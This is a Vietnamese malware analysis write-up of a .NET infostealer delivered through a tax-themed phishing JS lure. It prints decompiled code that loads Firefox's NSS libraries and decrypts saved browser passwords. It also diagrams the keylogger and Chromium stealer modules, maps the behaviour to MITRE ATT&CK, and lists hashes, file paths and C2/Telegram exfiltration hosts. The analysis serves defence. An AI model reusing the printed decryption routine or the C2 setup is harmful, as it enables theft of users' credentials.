		else if (Directory.Exists(text2))
		{
		....
		else if (Directory.Exists(text19))
		{
			str = text19;
		}
		else if (Directory.Exists(text20))
		{
			str = text20;
		}
		Class9.list_0.Add(Class9.LoadLibrary(str + "\\mozglue.dll"));
		Class9.intptr_0 = Class9.LoadLibrary(str + "\\nss3.dll");
		Class9.list_0.Add(Class9.intptr_0);
		return Class9.smethod_0<Class9.Delegate1>(Class9.intptr_0, "NSS_Init")(string_0);
	}
Hàm này thử hàng loạt các path cho Mozilla, Thunderbird, Mozilla Firefox, SeaMonkey, Comodo IceDragon, Cyberfox, Pale Moon, Waterfox Current, SlimBrowser, Postbox
Nếu tìm được, lấy browser đầu tiên tìm được để làm nguồn cho NSS (Firefox / Thunderbird không dùng DPAPI của Windows. Vì vậy, họ dùng NSS [nss3.dll] để mã hóa dữ liệu nhạy cảm)
Sau đó load 2 file dll mozglue.dll và nss3.dll vào ##### Cuối cùng, dùng smethod_0 lấy hàm NSS_Init từ nss3.dll, rồi gọi:
1
long status = NSS_Init(string_0);

2. smethod_1 – shutdown NSS

1
2
3
4
public static long smethod_1()
{
    return Class9.smethod_0<Class9.Delegate0>(Class9.intptr_0, "NSS_Shutdown")();
}
Lấy hàm NSS_Shutdown từ nss3.dll và gọi
Dùng để đóng NSS sau khi đã giải mã xong (giải phóng tài nguyên nội bộ của NSS).

3. smethod_3 – giải mã chuỗi password Firefox/Thunderbird

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
	public static string smethod_3(string string_0)
	{
		IntPtr intPtr = IntPtr.Zero;
		new StringBuilder(string_0);
		try
		{
			byte[] array = Convert.FromBase64String(string_0);
			intPtr = Marshal.AllocHGlobal(array.Length);
			Marshal.Copy(array, 0, intPtr, array.Length);
			Class9.TSECItem tsecitem = default(Class9.TSECItem);
			Class9.TSECItem tsecitem2 = default(Class9.TSECItem);
			tsecitem2.int_0 = 0;
			tsecitem2.intptr_0 = intPtr;
			tsecitem2.int_1 = array.Length;
			if (Class9.smethod_4(ref tsecitem2, ref tsecitem, 0) == 0 && tsecitem.int_1 != 0)
			{
				byte[] array2 = new byte[checked(tsecitem.int_1 - 1 + 1)];
				Marshal.Copy(tsecitem.intptr_0, array2, 0, tsecitem.int_1);
				return Encoding.ASCII.GetString(array2);
			}
		}
		catch (Exception ex)
		{
			return null;
		}
		finally
		{
			if (intPtr != IntPtr.Zero)
			{
				Marshal.FreeHGlobal(intPtr);
			}
		}
		return null;
	}

Kết nối với bức tranh lớn của malware

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
              ┌─────────────────────────┐
              │ CLASS6 (Main Controller)│
              │  - Timer                |
              │  - Keylogger            |
              │  - Clipboard            |
              │  - Screenshot           |
              │  - Exfil modules        |
              └──────────┬──────────────┘
                         │
                         │ Collect
                         ▼
    ┌────────────────────────────────────────────────┐
    │                CLASS8                          │
    │ Chromium Stealer (Chrome / Edge / CocCoc …)    │
    │ - Read cookies/password/history/credit card    │
    │ - Detect v10 format                            │
    │ - Get master_key via DPAPI                     │
    │ - Decrypt AES-GCM using Class7                 │
    └──────────────┬─────────────────────────────────┘
                   │
                   │ Decrypt Chrome AES-GCM
                   ▼
             ┌───────────────────┐
             │     CLASS7        │
             │ AES-GCM Decryptor │
             └───────────────────┘
                   ▲
                   │
                   │ Firefox/Thunderbird
                   ▼
       ┌───────────────────────────────┐
       │           CLASS9              │
       │ NSS (nss3.dll) decryptor      │
       │ - Load NSS_Init               │
       │ - PK11SDR_Decrypt             │
       └───────────────────────────────┘

MITRE ATT&CK

  • T1059 – Command and Scripting Interpreter (JavaScript, BAT, PowerShell).
  • T1562 – Impair Defenses (AMSI patch, ETW patch, Defender exclusion). T1547 – Boot or Logon Autostart (Startup folder .bat).
  • T1056 – Input Capture / Keylogging (nếu bạn đã phân tích phần Keylogger – bạn gợi ý nhưng chưa đào sâu).
  • T1555/T1552 – Credentials from Web Browsers & Local Storage (Chrome/Edge/Firefox/Email…)

    IOCs

    1. File hashes

StageMô tảHash typeGiá trị
JSThông báo của HĐĐT Công ty vi phạm thuế quá mức Thông báo số 10964001.jsSHA25603034db898bb76e51b941005585251b64956ae5ff4ce2e55cbbdab9174e00a55
BatchAnise.batSHA2563968852738ccb37192d0044bbb896210e319b4f9c2d271b050224f3f06382677
BatchAnise.batSHA2563968852738ccb37192d0044bbb896210e319b4f9c2d271b050224f3f06382677
NET1xxxxxxxxxxxxxxxxxxxxxxxxxxxx.exeSHA256c3d0ac47b11be5fd20c76ed84e70edec989a081742f5f811e3595beb88336bdd
NET1Unknown nameSHA256c3d0ac47b11be5fd20c76ed84e70edec989a081742f5f811e3595beb88336bdd
NET1Unknown nameSHA2569407c933b6159aebde11697a916263df83fe91b937b6d6d62dd754761bebac86
NET1Unknown nameSHA25698ceccafe3754303660352f44660e56399ba91d07b4b73ed8dd74fa456071bef
NET2Payload thực thi trong RAMSHA256ef0556dc61ee9912ae1647e9dcbbdd8fbcbfb4f56e77241f2315a7ca4f20c845

2. Tên file & vị trí đáng chú ý

Thành phầnĐường dẫn / TênGhi chú
JS lureThông báo của HĐĐT Công ty vi phạm thuế quá mức Thông báo số 10964001.jsFile đính kèm email lừa đảo thuế
BAT tạm%TEMP%\Anise.batĐược JS drop và thực thi từ thư mục Temp
BAT chính%USERPROFILE%\aoc.batBản copy của Anise.bat, chứa payload .NET mã hóa
Startup BAT%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\<4-char GUID>.batPersistence – copy từ aoc.bat
Folder tạm stealer%USERPROFILE%\Documents\VIPRecovery*Lưu screenshot, log trước khi exfil, sau đó bị xóa
Screenshot%USERPROFILE%\Documents\VIPRecovery\Screenshot.pngẢnh chụp toàn màn hình

3. Network IOCs

IP / DomainGhi chú
51.38.247.67:8081HTTP C2 /send_.php (port 8081)
149.154.167.220api.telegram.org (Telegram bot)
104.21.67.152reallyfreegeoip.org (IP/Geo lookup)
api.telegram.orgKênh Telegram bot C2 / notif
reallyfreegeoip.orgLấy thông tin IP/Geo của victim
checkip.dyndns.comLấy public IP
anotherarmy.dns.armyC2 HTTP port 8081
varders.kozow.comC2 HTTP port 8081
aborters.duckdns.orgC2 HTTP port 8081

4. URLs đáng chú ý

  • http://51.38.247.67:8081/send.php
  • http://anotherarmy.dns.army:8081
  • http://varders.kozow.com:8081
  • http://aborters.duckdns.org:8081
  • https://api.telegram.org/bot/sendMessage?chat_id=…
  • http://checkip.dyndns.com/
  • http://reallyfreegeoip.org / https://reallyfreegeoip.org/xml/<ip>
This post is licensed under CC BY 4.0 by the author.